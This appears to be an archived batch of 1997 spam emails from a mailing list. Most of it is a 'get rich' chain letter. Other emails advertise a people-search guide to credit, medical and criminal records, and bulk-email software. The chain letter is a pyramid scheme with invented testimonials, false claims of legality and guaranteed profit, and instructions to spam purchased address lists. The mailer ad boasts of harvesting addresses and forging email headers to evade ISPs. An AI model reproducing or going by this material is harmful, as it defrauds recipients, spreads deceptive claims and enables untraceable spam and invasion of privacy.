     My name is Frank. My wife, Doris, and I live in Bel-Air, MD. I am a cost accountant with a major 
U.S. Corporation and I make pretty good money. When I received the program I grumbled to Doris 
about receiving "junk mail." I made fun of the whole thing, spouting my knowledge of the population 
and percentages involved.  I "knew" it wouldn't work. Doris totally ignored my supposed intelligence 
and jumped in with both feet. I made merciless fun of her, and was ready to lay the old "I told you 
so" on her when the thing didn't work... well, the laugh was on me!  Within two weeks she had 
received over 50 responses. Within 45 days she had received over $147,200 in $5 bills! I was 
shocked!  I was sure that I had it all figured and that it wouldn't work.  I AM a believer now. I have 
joined Doris in her "hobby."   I did have seven more years until retirement, but I think of the "rat 
race" and it's not for me. We owe it all to MLM.
           Frank T., Bel-Air, MD

    I just want to pass along my best wishes and encouragement to you.  Any doubts you have will 
vanish when your first orders come in. I even checked with the U.S. Post Office to verify that the 
plan was legal. It definitely is! IT WORKS!!!
           Paul Johnson, Raleigh, NC

    The main reason for this letter is to convince you that this system is honest, lawful, extremely 
profitable, and is a way to get a large amount of money in a short time. I was approached several 
times before I checked this out. I joined just to see what one could expect in return for the minimal 
effort and money required.  To my astonishment, I received $36,470.00 in the first 14 weeks, with 
money still coming in.
           Sincerely yours, Phillip A. Brown, Esq.

    Not being the gambling type, it took me several weeks to make up my mind to participate in this 
plan. But conservative that I am, I decided that the initial investment was so little that there was just 
no way that I wouldn't get enough orders to at least get my money back. Boy, was I surprised when 
I found my medium-size post office box crammed with orders!  For awhile, it got so overloaded that I 
had to start picking up my mail at the window. I'll make more money this year than any 10 years of 
my life before. The nice thing about this deal is that it doesn't matter where in the U.S. the people 
live. There simply isn't a better investment with a faster return.
         Mary Rockland, Lansing, MI

    I had received this program before. I deleted it, but later I wondered if I shouldn't have given it a 
try. Of course, I had no idea who to contact to get another copy, so I had to wait until I was e-mailed 
another program...11 months passed then it came...I didn't delete this one!...I made more than 
$41,000 on the first try!!
          D. Wilburn, Muncie, IN

     This is my third time to participate in this plan. We have quit our jobs, and will soon buy a home 
on the beach and live off the interest on our money.  The only way on earth that this plan will work 
for you is if you do it. For your sake, and for your family's sake don't pass up this golden opportunity.  
Good luck and happy spending!
           Charles Fairchild, Spokane, WA

ORDER YOUR REPORTS TODAY AND GET STARTED ON 
YOUR ROAD TO FINANCIAL FREEDOM!!!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 42793813@hur.com
Date: Fri, 19 Dec 1997 06:27:49 -0800 (PST)
To: Friend@public.com
Subject: Home Business!   $350 a month overhead, Monthly Income of $3,000.00 +
Message-ID: <8241033266bur.543167.fpes>
MIME-Version: 1.0
Content-Type: text/plain


If you want a scam or get rich quick scheme, then save us both time and DELETE  NOW!   Serious Inquiries ONLY, please.        CALL  NOW.......1-800-230-6423




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: soapoa1@mxc.meshnet.or.jp
Date: Fri, 19 Dec 1997 18:31:30 -0800 (PST)
To: soapoa1@mxc.meshnet.or.jp
Subject: XXX ADULT!!!
Message-ID: <199712192658YAA48158@post.71.48.10>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 38483580@juno.com
Date: Fri, 19 Dec 1997 23:59:10 -0800 (PST)
To: money@hotrmail.com
Subject: SUCESS TICKET!!!!
Message-ID: <199702170025.GAA08056@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello!


My name is Karen Liddell; I'm a 35-year-old mom, wife, and part-time accountant.
As a rule, I delete all unsolicited "junk" e-mail and use my account primarily 
for business.  I received what I assumed was this same e-mail countless times and
deleted it each time.

About two months ago I received it again and, because of the catchy subject line,
I finally read it.  Afterwards, I thought , "OK, I give in, I'm going to try this.  
I can certainly afford to invest $20 and, on the other hand, there's nothing wrong 
with creating a little excess cash."  I promptly mailed four $5 bills and, after 
receiving the reports, paid a friend of mine a small fee to send out some e-mail 
advertisements for me.  After reading the reports, I also learned how easy it is 
to bulk e-mail for free! 

I was not prepared for the results.  Every day for the last six weeks, my P.O. 
box has been overflowing with $5 bills; many days the excess fills up an extra 
mail bin and I've had to upgrade to the corporate-size box!  I am stunned by all 
the money that keeps rolling in!

My husband and I have been saving for several years to make a substantial 
downpayment on a house.  Now, not only are we purchasing a house with 40% 
down, we're going to Venice, Italy to celebrate!

I promise you, if you follow the directions in this e-mail and be prepared to 
eventually set aside about an hour each day to follow up (and count your money!), 
you will make at least as much money as we did.  If you can open an envelope, 
remove the money, and send an e-mail message, then you're on your way to the
bank. Take the time to read this so you'll understand how easy it is.  If I can 
do this, so can you!


=====================================================
=====================================================

             *** Print This Now For Future Reference ***

The following income opportunity is one you may be interested in taking a look at.
It can be started with VERY LITTLE investmentand the income return is 
TREMENDOUS!!!  

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

You are about to make at least $50,000 in less than 90 days!  
Please read the enclosed program...THEN READ IT AGAIN!!!

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.
It does not require you to come into contact with people, do any hard work, and
best of all, you never have to leave the house except to get the mail.  If you
believe that someday you'll get that big break that you've been waiting for,
THIS IS IT!  Simply follow the instructions, and your dream will come true.
This multi-level e-mail order marketing program works perfectly...100% 
EVERY TIME.  E-mail is the sales tool of the future.  Take advantage of this 
non-commercialized method of advertising NOW!!!  The longer you wait, the more
people will be doing business using e-mail.  Get your piece of this action!!!  

MULTI-LEVEL MARKETING (MLM) has finally gained respectability.
It is being taught in the Harvard Business School, and both Stanford Research
and the Wall Street Journal have stated that between 50% and 65% of all goods 
and services will be sold through multi-level methods by the mid to late 1990's.
This is a Multi-Billion Dollar industry and of the 500,000 millionaires in the
U.S., 20% (100,000)  made their fortune in the last several years in MLM.
Moreover, statistics show 45 people become millionaires everyday through
Multi-Level Marketing. 

The enclosed information is something I almost let slip through my fingers.  
Fortunately, sometime later I re-read everything and gave some thought and 
study to it.  

My name is Christopher Erickson.  Two years ago, the corporation I 
worked at for the past twelve years down-sized and my position was 
eliminated.  After unproductive job interviews, I decided to open my 
own business.  Over the past year, I incured many unforeseen 
financial problems.  I owed my family, friends and creditors over
$35,000.  The economy was taking a toll on my business and I just
couldn't seem to make ends meet.  I had to refinance and borrow 
against my home to support my family and struggling business.  AT
THAT MOMENT something significant happend in my life and I am
writing to share the experience in hopes that this will change your
life FOREVER FINANCIALLY!!!

In mid December, I received this program via e-mail.  Six month's 
prior to receiving this program I had been sending away for 
information on various business opportunities.  All of the programs 
I received, in my opinion, were not cost effective.  They were either 
too difficult for me to comprehend or the initial investment was too 
much for me to risk to see if they would work or not.  One claimed 
that I would make a million dollars in one year...it didn't tell me 
I'd have to write a book to make it!  

But like I was saying, in December of 1995 I received this program.  
I didn't send for it, or ask for it, they just got my name off a 
mailing list. THANK GOODNESS FOR THAT!!!  After reading 
it several times, to make sure I was reading it correctly, I couldn't 
believe my eyes.  Here was a MONEY MAKING PHENOMENON.
I could invest as much as I wanted to start, without putting me 
further into debt.  After I got a pencil and paper and figured it 
out, I would at least get my money back.  After determining the 
program was LEGAL and NOT A CHAIN LETTER, I decided 
"WHY NOT."

Initially I sent out 10,000 e-mails.  It cost me about $15.00 for my 
time on-line.  The great thing about e-mail is that I don't need any 
money for printing to send out the program, only the cost to fulfill 
my orders.  I am telling you like it is, I hope it doesn't turn you 
off, but I promised myself that I would not "rip-off" anyone, no 
matter how much money it cost me!


In less than one week, I was starting to receive orders for REPORT #1.  
By January 13, I had received 26 orders for REPORT #1.  When you read the 
GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15-20
ORDERS FOR REPORT #1 WITHIN 2 WEEKS.  IF YOU DON'T, SEND OUT
MORE PROGRAMS UNTIL YOU DO!" 
My first step in making $50,000 in 20-90 days was done. By January 30,
I had received 196 orders for REPORT #2.  If you go back to the GUARANTEE, 
"YOU MUST RECEIVE 100+ ORDERS FOR REPORT #2 WITHIN 2 WEEKS.  
IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO.  ONCE YOU HAVE 100 
ORDERS, THE REST IS EASY, RELAX, YOU WILL MAKE YOUR $50,000 
GOAL"  Well, I had 196 orders for REPORT #2, 96 more than I needed.  So I sat 
back and relaxed.  By March 19, of my e-mailing of 10,000, I received $58,000
with more coming in every day.  

I paid off ALL my debts and bought a much needed new car.  Please take time 
to read the attatched program, IT WILL CHANGE YOUR LIFE FOREVER!!!  
Remember, it won't work if you don't try it.  This program does work, but you 
must follow it EXACTLY!  Especially the rules of not trying to place your name 
in a different place.  It won't work, you'll lose out on a lot of money!  
REPORT #2 explains this. Always follow the guarantee, 15-20 orders for 
REPORT #1, and 100+ orders for REPORT #2 and you will make $50,000 or more in 
20-90 days.  I AM LIVING PROOF THAT IT WORKS!!!

If you choose not to participate in this program, I am sorry.  It really is a 
great opportunity with little cost or risk to you.  If you choose to participate, 
follow the program and you will be on your way to financial security.  

If you are a fellow business owner and are if financial trouble like I was, or 
you want to start your own business, consider this a sign. I DID!

                               Sincerely,             

                         Christopher Erickson   


P.S. Do you have any idea what 11,700  $5 bills ($58,000) look like 
piled up on a kitchen table?  IT'S AWESOME!


A PERSONAL NOTE FROM THE ORGINATOR OF THIS PROGRAM:

By the time you have read the enclosed program and reports, you should have 
concluded that such a program, and one that is legal, could not have been created 
by an amateur.  

Let me tell you a little about myself.  I had a profitable business for 10 years.  
Then in 1979 my business began falling off.  I was doing the same things that were
previously successfull for me, but it wasn't working.  Finally, I figured it out.  
It wasn't me, it was the economy.  Inflation and recession had replaced the stable 
economy that had been with us since 1945.  I don't have to tell you what happend to
the unemployment rate... because many of you know from first hand experience.  
There were more failures and bankruptcies than ever before. 

The middle class was vanishing.  Those who knew what they were doing invested 
wisely and moved up.  Those who did not, including those who never had anything to
save or invest, were moving down into the ranks of the poor.  As the saying goes, 
"THE RICH GET RICHER AND THE POOR GET POORER."  The traditional methods
of making money will never allow you to "move up" or "get rich", inflation will 
see to that.

You have just received information that can give you financial freedom for the rest
of your life, with "NO RISK" and "JUST A LITTLE BIT OF EFFORT."  
You can make more money in the next few months than you have ever imagined.  

I should also point out that I will not see a penny of this money, nor anyone else 
who has provided a testimonial for this program.  I have already made over 
4 MILLION DOLLARS!  I have retired from the program after sending out over 
16,000 programs.  Now I have several offices that make this and several other 
programs here and over seas.  By the spring we wish to market the "internet" by a
partnership with AMERICA ON LINE.  

Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any way.  
It works exceedingly well as it is now.  Remember to e-mail a copy of this exciting 
report to everyone you can think of. One of the people you send this to may send out 
50,000...and your name will be on everyone of them!  Remember though, the more
you send out the more potential customers you will reach.  

So my friend, I have given you the ideas, information, materials and opportunity 
to become financially independent, IT IS UP TO YOU NOW!


"THINK ABOUT IT"
Before you delete this program from your mailbox, as I almost did, take a little 
time to read it and REALLY THINK ABOUT IT.  Get a pencil and figure out what could 
happen when YOU participate. Figure out the worst possible response and no matter 
how you calculate it, you will still make a lot of money!  You will definitely get
back what you invested.  Any doubts you have will vanish when your first orders 
come in.  IT WORKS!                    
                                     Paul Johnson, Raleigh, NC


HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$

Let's say that you decide to start small, just to see how it goes, and we'll 
assume you and all those involved send out only 2,000 programs each.  Let's also 
assume that the mailing receives a 0.5% response.  Using a good list the response 
could be much better. Also many people will send out hundreds of thousands of 
programs instead of 2,000.  But continuing with this example, you send out only 
2,000 programs.  With a 0.5% response, that is only 10 orders for REPORT #1.  
Those 10 people respond by sending out 2,000 programs each for a total of 20,000.  
Out of those 0.5%, 100 people respond and order REPORT #2. Those 100 mail out 
2,000 programs each for a total of 200,000.  The 0.5% response to that is 1,000 
orders for REPORT #3.  Those 1,000 send out 2,000 programs each for a 2,000,000 
total.  The 0.5% response to that is 10,000 orders for REPORT #4.  That's 10,000 
$5 bills for you.  CASH!!! Your total income in this example is 
$50 + $500 + $5,000 + $50,000 for a total of $55,550!!!

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF THE 2,000 PEOPLE 
YOU MAIL TO WILL DO ABSOLUTELY NOTHING AND TRASH THIS PROGRAM!  
DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE, OR HALF 
SENT OUT 100,000 PROGRAMS INSTEAD OF 2,000.  
Believe me, many people will do just that, and more!  By the way, your cost to 
participate in this is practically nothing.  You obviously already have an 
internet connection and e-mail is FREE!!!  REPORT #3 will show you the best 
methods for bulk e-mailing and obtaining e-mail lists. 

INSTRUCTIONS:
We at Erris Mail Order Marketing Businesses, have a method of raising capital that
REALLY WORKS 100% EVERYTIME.  I am sure that you could use 
$50,000 to $125,000 in the next 20-90 days. Before you say "BULL... ", 
please read this program carefully.  

This is not a chain letter, but a perfectly legal money making opportunity.  
Basically, this is what you do:  As with all multi-level business, we build our 
business by recruiting new partners and selling our products.  Every state in the 
USA allows you to recruit new multi-level business partners, and we offer a 
product for EVERY dollar sent.  YOUR ORDERS COME AND ARE FILLED
THROUGH THE MAIL, so you are not involved in personal selling.  You do it 
privately in your own home, store or office.  
This is the GREATEST Multi-Level Mail Order Marketing anywhere: 

Step (1)  Order all four (4) REPORTS listed by NAME AND NUMBER.  
Do this by ordering the REPORT from each of the four (4) names 
listed on the next page.  For each REPORT, send $5 CASH and a 
SELF-ADDRESSED STAMPED envelope (BUSINESS SIZE #10) to the person 
listed for the SPECIFIC REPORT.  International orders should also
include $1 extra for postage.  It is essential that you specify 
the NAME and NUMBER of the REPORT requested to the person you are
ordering it from.  You will need ALL FOUR (4) REPORTS because you 
will be REPRINTING and RESELLING them.  DO NOT alter the names
or sequence other than what the instructions say. 

IMPORTANT: Always provide same-day service on all orders.  

Step (2)  Replace the name and address under REPORT #1 with
your's, moving the one that was there down to REPORT #2.  Drop 
the name and address under REPORT #2 TO REPORT #3,  moving 
the one that was there to REPORT #4.  The name and the address 
that was under REPORT #4 is dropped from the list and this party 
is no doubt on the  way to the bank.  When doing this, make certain
you type the names and addresses ACCURATELY!!!  DO NOT 
MIX UP MOVING PRODUCT/REPORT POSITIONS!!!

Step (3) Having made the requested changes in the NAME list, save
it as text (.txt) file in it's own directory to be used with whatever 
e-mail program you like.  Again, REPORT #3 will tell you the best 
methods of bulk e-mailing and acquiring e-mail lists.  

Step (4)  E-mail a copy of the entire program (all of this is very 
important) to everyone whose address you can get your hands on.  
Start with friends and relatives since you can encourage them to take
advantage of this fabulous money-making opportunity.  That's what I 
did.  And they love me now, more than ever.  Then, e-mail to anyone 
and everyone!  Use your imagination!  You can get e-mail addresses 
from companies on the internet who specialize in e-mail mailing 
lists.  These are very cheap, 100,000 addresses for around $35.  

IMPORTANT:  You won't get a good response if you use an old
list, so always request a FRESH, NEW list.  You will find out where
to purchase these lists when you order the four (4) REPORTS.  

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!

REQUIRED REPORTS:
***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE 
SPECIFIC REPORT BY NAME AND NUMBER.
____________________________________________________

REPORT #1 
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM: 

CONSUMER MARKETING
10223-B Univ. City Blvd. #197
Charlotte, NC 28213

____________________________________________________

REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:

Kathy Smith
5312 S. E. 30 Ave.
Ocala, FL 34480-7524

____________________________________________________

REPORT #3 
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:

Liberty Publishing Inc.
2107 W. Commonwealth Ave. Dept. 264
Alhambra, Ca 91803

____________________________________________________


REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:

SOM CO..
2168 S. Atlantic Blvd #101
Monterey Park, CA 91754
____________________________________________________



CONCLUSION:
I am enjoying my fortune that I made by sending out this program.  
You too, will be making money in 20-90 days, if you follow the
SIMPLE STEPS outlined in this mailing.

To be financially independent is to be FREE.  Free to make financial 
decisions as never before.  Go into business, get into investments, 
retire or take a vacation.  No longer will a lack of money hold you 
back.

However, very few people reach financial independence, because
when opportunity knocks, they choose to ignore it.  It is much 
easier to say "NO" than "YES", and this the question that you must 
answer.  Will YOU ignore this amazing opportunity or will you 
take advantage of it?  If you do nothing, you have indeed missed 
something and nothing will change.  Please re-read this material, 
this is a special opportunity.  If you have any questions, please 
feel free to write to the sender of this information.  You will get
a prompt and informative reply.

My method is simple.  I sell thousands of people a product for $5 
that cost me pennies to produce and e-mail.  I should also point out 
that this program is LEGAL and everyone who participates WILL
make money.  This is not a chain letter or a pyramid scam.  At times 
you probably received chain letters, asking you to send money, on 
faith, but getting NOTHING in return, NO product what-so-ever!  
Not only are chain lettters illegal, but the risk of someone breaking 
the chain  makes them quite unattractive.

You are offering a legitimate product to your people.  After they 
purchase the product from you, they reproduce more and resell them.  
It's simple free enterprise.  As you learned from the enclosed 
material, the PRODUCT is a series of four (4) FINANCIAL AND
BUSINESS REPORTS.  The information contained in these
REPORTS will not only help you in making your participation in 
this program more rewarding, but will be useful to you in any other 
business decisions you make in the years ahead.  You are also 
buying the rights to reprint all of the REPORTS, which will be 
ordered from you by those to whom you mail this program.  The 
concise one and two page REPORTS you will be buying can easily 
be reproduced at a local copy center for a cost of about 3 cents a
copy.  Best wishes with the program and Good Luck!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sallis327@juno.com
Date: Sat, 20 Dec 1997 11:12:36 -0800 (PST)
To: Friend@public.com
Subject: Guide to Federal Government Sales (start 1998 off right)!!
Message-ID: <178456983520.RTR75489@tranton.cc.jp>
MIME-Version: 1.0
Content-Type: text/plain


Guide to Federal Government Sales:

How to buy land, houses, cars and other items from 18 federal sales programs, including seized and unclaimed property!!!!

ONLY $7.95!

* THIS INFORMATION HAS BEEN COMPILED BY THE UNITED STATES FEDERAL GOVERNMENT *

* COMES WITH A 30 DAY FULL MONEY BACK GUARANTEE!!!! *

HOW TO ORDER:

MAKE CHECK OR MONEY ORDER PAYABLE TO:
INFO PLEASE
PO Box 182
Post Falls, ID 83854-0182

ONLY $7.95! 
Include $1.60 for shipping and handling (total = $9.55)

>>>Be sure to enclose your delivery address.
      (We will ship your order AS SOON AS we recieve payment.)
























From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: daegi16@aol.com (USA)
Date: Sun, 21 Dec 1997 02:37:15 -0800 (PST)
To: allgood@people.com
Subject: Find Info You Never Thought Possible...ONLINE!
Message-ID: <199712201115NAA14771@elvis@tunica.com.worldnetla.net>
MIME-Version: 1.0
Content-Type: text/plain


Find information you wouldn't believe possible...... online!!! 

You will not receive any more correspondence from us!!!!!
-----------------------------------------------------------------------------

We have done the research for you!!! With this power tool you can access
information all over the World Wide Web about your employees, friends and
rivals. We give you the access to hundreds of sites that will supply you
with information about DMV records, credit profiles, medical and criminal
records, most anything you would want to know.

With this information you can track down phone numbers,social security
info, E-mail addresses, surnames, birth, marriage, divorce, and death records.
Look up a long, lost relative!!
With sites like Birth-Quest, look for biological parents!

Get a map of any place in the country.
Find out where speed traps are in your area, get info about legal issues,
Check out politics anywhere in the U.S.(access past congressional votes,
campaign finance, election results, etc.)

Most of these sites have links to other sites to allow you access to even
more information.You will be guided to thousands of pages all over the world!

The internet can be rather complicated. Take advantage of these simple, 
easy web sites containing tons of information. 

These are just a few items to look for, there are many, many MORE!
You can know EVERYTHING about EVERYBODY with this information!!
Your satisfaction is guaranteed, Just return the material within 30 days
for a full refund!

Send $11.95 to;              INFOREVOLUTION
                             875 Lawrenceville Suwanee Rd.,N.W.
                             Suite 310-314
                             Lawrenceville GA 30243-5484



















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: hupiu79@arbi.informatik.uni-oldenburg.de (Floodgate)
Date: Sun, 21 Dec 1997 08:57:00 -0800 (PST)
To: hupiu79@arbi.informatik.uni-oldenburg.de
Subject: Bulk Email For Profit
Message-ID: <199712202566WAA13177@post.ausys.se>
MIME-Version: 1.0
Content-Type: text/plain



******************************************************
        
            MAIL THOUSANDS OF EMAIL MESSAGES
                PER HOUR - NO KIDDING !!

          SEND YOUR EMAIL MESSAGES OUT, AT
         1,000's MESSAGES / HOUR (28.8K modem)

           YES, 1,000's  Of Messages An Hour

******************************************************

	MILLIONS  OF  EMAIL  ADDRESSES

                      ******** $100.00 *******

******************************************************

  YOU'LL RECEIVE 2 HIGH-SPEED EMAIL SOFTWARE PROGRAMS

Introducing...."FLOODGATE BULK EMAIL LOADER" 
        AND...."GOLDRUSH STEALTH MASS MAILER"

This is the same software that all bulk emailing services use!

----------------------------------------------------

Floodgate Bulk Email Loader Version 5.2 AND
Goldrush Stealth Mass Mailer Version 3.215
for Windows 95 and Windows 3.1 now Supports 17 
(really more with the free form filter) File Formats

----------------------------------------------------


SEND OUT 20,000+ MARKETING LETTERS EVERY SINGLE DAY!

Or...every few days. In fact, when I send out just a few thousand marketing letters each day, it doesn't take long before I'm completely swamped with email inquiries and phone calls. This is very easy to do. And each one of these bulk mailings costs me nothing. I can teach you how to do this and provide you with the tools you'll need.

If you've got a good marketing letter, I'll show you how to open the floodgates. You'll be deluged with inquiries, leads, and real sales, using nothing but email alone.

Writing a good marketing letter is not easy. I often have to rewrite my marketing letters a half dozen times before I get the results I'm looking for. But once you have a good letter, as you probably know, you can use the same letter over and over again, predictably and consistently, closing sales, week after week, month after month.

It takes me about one hour to send my marketing letter to THOUSANDS of fresh email addresses. I can do this, thanks to a Windows program I use. It's called Floodgate and Goldrush Stealth Mass Mailer. It's a bulk email loader and an email software program. If you're interested in electronic marketing, you should know about these programs.

PROGRAM #1: FLOODGATE FOR WINDOWS

The Floodgate Bulk Email Loader imports simple text files that anyone can download from CompuServe, Prodigy, Delphi Genie, or the Internet. These text files contain classified ads, forum messages, or data from the member directory. Each of these files is filled with email addresses.

Floodgate is designed to read these files and strip out the email addresses. It then sorts the addresses, removes any duplicates, and formats them into an output file, with 10, 20 or 30 addresses per line. This is all done in one simple step. Just point and click.

You'll need either a Windows based Internet account or an America On-line account to send out your marketing letters. Neither AOL nor the Internet charges to send email. Send your letter to 1,000 people or 10,000 people -- the cost is always the same. NOTHING!

NEW! PREPARE A MAILING OF 50,000+ 
IN LESS THAN A 1/2 HOUR

If you open an Internet account, you can send each letter to 20,000+ people. The new Floodgate now directly writes distribution lists. Some people are always collecting new addresses, but if you publish a newsletter or adsheet, you'll be using the same addresses over and over again. That's real power! When using addresses you've previously collected, you can press a few buttons and prepare a mailing of 50,000+ in less than a half hour.

(To get a list of all the Internet access providers in your local calling area goto: http://thelist.com and click on your area code.)

The Floodgate Users Guide will teach you, step by step, how to download the right files, how to strip the addresses, and finally, how to cut and paste the formatted addresses into your marketing letter. Or, if you have an Internet account, how to create distribution lists. One you've done this a few times you won't even have to think. It's that simple!

FOR THE BRAVE & DARING: PUSHING TECHNOLOGY TO ITS LIMITS

As you may know, the practice of sending unsolicited email is usually frowned upon, and most service providers have rules against it. But, like jay-walking, there is little enforcement. It's not illegal. If someone tells you that it is, ask them to provide the citation (and don't let them give you some nonsense about faxes - that's not email). They can't do it because it's not there. Sometimes, when a lot of people complain, I get a warning letter. And that's about it.

About 1 in 200 will write back and tell me, "take me off the list", which I can do, thanks to Floodgates Remove List feature. Many people reply back thanking me for sending them my informative letter. That's always nice. Most people though, just reply and say, "send me more info." In this way, it usually takes me two or three letters to close a sale.

The Floodgate Users Guide will provide you with proven formats for writing a successful marketing letter. You'll test and rewrite, test and rewrite. Then, once you've got it, just push a few buttons, and open the floodgates!!!

THE FLOODGATE BULK EMAIL LOADER CURRENTLY SUPPORTS 17+ FILE FORMATS

1. CompuServe Classifieds: Send your marketing letter to everyone who is running a classified ad. I'll teach you how to download all the classifieds from any single ad category. This is one of the most responsive list of buyers. They check their email every day and they're already in business.

2. America On-line Classifieds: Download 1,000 addresses in 15 minutes. These are excellent lists for business to business sales.

3. CompuServe Forums: You can join a forum and download hundreds of forum messages in a matter of minutes.

4. America On-line Forums: Choose from dozens of forums. All good targeted lists.

5. Prodigy Forums: Prodigy allows you to easily export any group of forum messages. More targeted lists.

6. Internet Newsgroups: These are all targeted lists. You'll be able to send your marketing letter to everyone who posts a message in any newsgroup. Easily collect 1,000's of addresses per hour.

7. America On-line Member Directory: Most member directories only allow you to search by city and state. With AOL, you can search by business type, hobbies, computer type, etc. This is the gem of all
member directories. Build huge targeted lists.

8. CompuServe Member Directory: This is a major resource. If you're willing to target your mailing to a single city, you can collect about 1,000 email addresses an hour.

9. Delphi Member Directory: The Delphi member directory allows you to search for people based on key words. These are good targeted mailing lists. A single search can easily generate 5,000 addresses.

10. Genie Member Directory: Similar to the CompuServe member directory, only you can download names much quicker. You can easily pull hundreds of thousands of addresses out of each of these member directories.

11. CompuServe File Cabinet: If you run classified ads, and save the responses in the CIM file cabinet, you'll be able to easily reuse these addresses. You can send your marketing letter to everyone in any single folder. Build master lists and clean UP your hard drive.

12. Free Form: If you have a text file with email addresses that floodgate does not support, chances are the Free Form filter will be just what you need. Just enter a key word to search for.

13. CompuServe Form Profiles (Forum Membership Directories): Easy to build targeted lists here. Each search can easily bring you 500+
addresses.

14. Genie Profiles: If you're building targeted lists, you'll get a lot of addresses very quickly from Genie.

15. Plain Addresses: Read Floodgate Master Files back into Floodgate to merge files and do selective mailings. Also useful for the management of email address lists that you might purchase.

Floodgate also has filters to allow you to include or exclude any groups of addresses in your final distribution lists. For example, you could include only email addresses that ended in .com or exclude all with .gov. You could exclude all noc, root, and other addresses that almost guarantee a negative response. These filters are fully configurable and can be used together.

BUILD REUSABLE MASTER FILES

Floodgate maintains Master Files for each of your marketing letters. If you download from the same place on a regular basis, you only want to send your letter to the new people. Floodgate will compare the new addresses with those in the Master File, and prepare a mailing list of only new people. The new addresses are, of course, then added to the Master File. With each new mailing your Master File grows and grows.

You may create as many Master Lists as you need. When you start a new marketing campaign, you'll want to send your new letter to everyone on your Master List. If you write a newsletter, each time you send your newsletter, you'll send it to everyone on a Master List.

THE REMOVE LIST

Very often, people will reply and tell you to take them off your mailing list. Place these addresses in the REMOVE.MST file and they will never receive another letter from you again. In this way, you will be operating your business with the most professionalism
possible.

DON'T BE FOOLED

We have some new competitors that have tried to copy Floodgate. The following list describes why Floodgate is BETTER.......

**Floodgate is a mature, bug free product. Not an initial release.
**Floodgate comes with over 100 pages of step by step       documentation.
**Floodgate is the only one offering a money back guarantee.
**Floodgate has more testimonials. 
**Filter for filter, Floodgate offers more capabilities, way more. 
**Floodgate does everything all the others *combined* claim. 
**Floodgate is by far the easiest to use.
**There is NO *cutting and pasting* with Floodgate. 
**We have by far, the BEST technical support.

SOME QUICK MATH

Floodgate can pay for itself in a few days. It can also cut your advertising costs down to almost nothing. Think of what the competition will do when they get their Floodgate program. Don't be left in the dust - there are 75 million people out there, just a few keystrokes away. Let's do the math:

- Email 50,000 sales letters (takes about 1-2 hours)
- Let's say your product will bring you $5 profit per   sale.
- Let's also say you only get a 1% response(occasionally higher).

* That's 500 orders x $5 = $2,500 profit !! Now imagine what 500,000 letters would do for your business !!

WHAT CAN I MARKET ON-LINE?

You can market anything on-line using direct email, that can be marketed using conventional postal direct mail marketing. The possibilities are practically endless. If it sells off-line, you can sell it on-line.

EASY TO INSTALL AND EASY TO LEARN

The Floodgate Email Loader requires Windows. The SUPPLIED MANUAL tells you where to go, what to do, and how to do it. All you need are basic computer skills that can be learned with a little practice or help from our computer savvy technicians.

PROGRAM #2: GOLDRUSH STEALTH MASS MAILER

Do not get this program confused with other slow speed programs that call themselves "STEALTH". This program is the only one in the world that can send email out at HIGH SPEEDS with one single connection to the internet. 

This is NEW, Cutting Edge Email Technology. First Of It's Kind.. The Most Powerful BULK EMAIL SENDER In The World.. NOTHING CAN EVEN COME CLOSE! 

Thanks to our top programmer's, this technology is NOW available and we are the only place you can get it from! 

     *ONLY "ONE" DIAL-UP OR ISDN CONNECTION NEEDED. 
     *NO MORE TERMINATED CONNECTIONS. 
     *NO MORE WAITING TO SEND LARGE AMOUNTS OF EMAIL. 
     *IMMEDIATE RESPONSE TO YOUR MASS MAILINGS. 
     *YOU WILL HAVE ALL THE CONTROL AND CONFIDENCE OF 
       SENDING EMAIL THE WAY IT SHOULD BE SENT... IN HUGE AMOUNTS! 
     *SEND YOUR WHOLE LIST IN ONE DAY, WHETHER IT BE 500,000 
       OR 5 MILLION - AND JUST SIT BACK AND WAIT FOR YOUR 
       ORDERS TO POUR IN. 
     *NO MORE DOWNLOADING UNDELIVERABLE NAMES.

Bulk Emailer's Dream Come True!!! - >>>GOLDRUSH STEALTH MASS MAILER<<< 

Connect to multiple mail servers (20 or more), make multiple connections to a single server or any combination of the two ( All Simultaneously ) with one single dial-up connection. 

SEND MULTIPLE SIMULTANEOUS MAILINGS... 

View complete details about your mailings. Shows each server your connected to, the status of that connection, how many messages are going out through that connection, etc...

We show you ALL the tricks all the mass e-mailers don't want you to know... 

Here are just a few features the GOLDRUSH STEALTH MASS MAILER offers to you... 

     *Forge the Header - Message ID - ISP's will Spin their wheels. 
     *Add's a Bogus Authenticated Sender to the Header. 
     *Add's a complete bogus Received From / Received By line with 
      real time / date stamp and recipient to the Header. 
     *Does NOT require a valid POP Account be entered in order to 
      send your mailings. 
     *Easy to use and operate 
     *Plus much more! 

All this, at speeds of up to 1,000's messages/hour
(28.8k modem). 

SPECIAL INTRODUCTORY PRICE... 

